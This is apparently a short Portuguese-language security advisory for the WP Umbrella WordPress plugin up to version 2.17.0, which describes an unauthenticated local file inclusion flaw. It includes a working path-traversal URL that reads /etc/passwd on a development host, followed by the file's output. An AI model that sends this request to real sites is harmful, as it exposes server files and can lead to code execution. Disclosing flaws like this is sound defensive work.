
WP Umbrella: Atualização Backup Restauração & Monitoramento <= 2.17.0 - Inclusão de Arquivo Local Não Autenticada
WP Umbrella: Update Backup Restore & Monitoring <= 2.17.0 - Inclusão de Arquivo Local Não Autenticada
O plugin WP Umbrella: Update Backup Restore & Monitoring para WordPress é vulnerável à Inclusão de Arquivo Local em todas as versões até, e incluindo, 2.17.0 através do parâmetro 'filename' da ação 'umbrella-restore'. Isso torna possível que atacantes não autenticados incluam e executem arquivos arbitrários no servidor, permitindo a execução de qualquer código PHP nesses arquivos. Isso pode ser usado para contornar controles de acesso, obter dados sensíveis ou alcançar execução de código em casos onde imagens e outros tipos de arquivo "seguros" podem ser enviados e incluídos.
https://wp-dev.ddev.site/?umbrella-restore=1&filename=../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin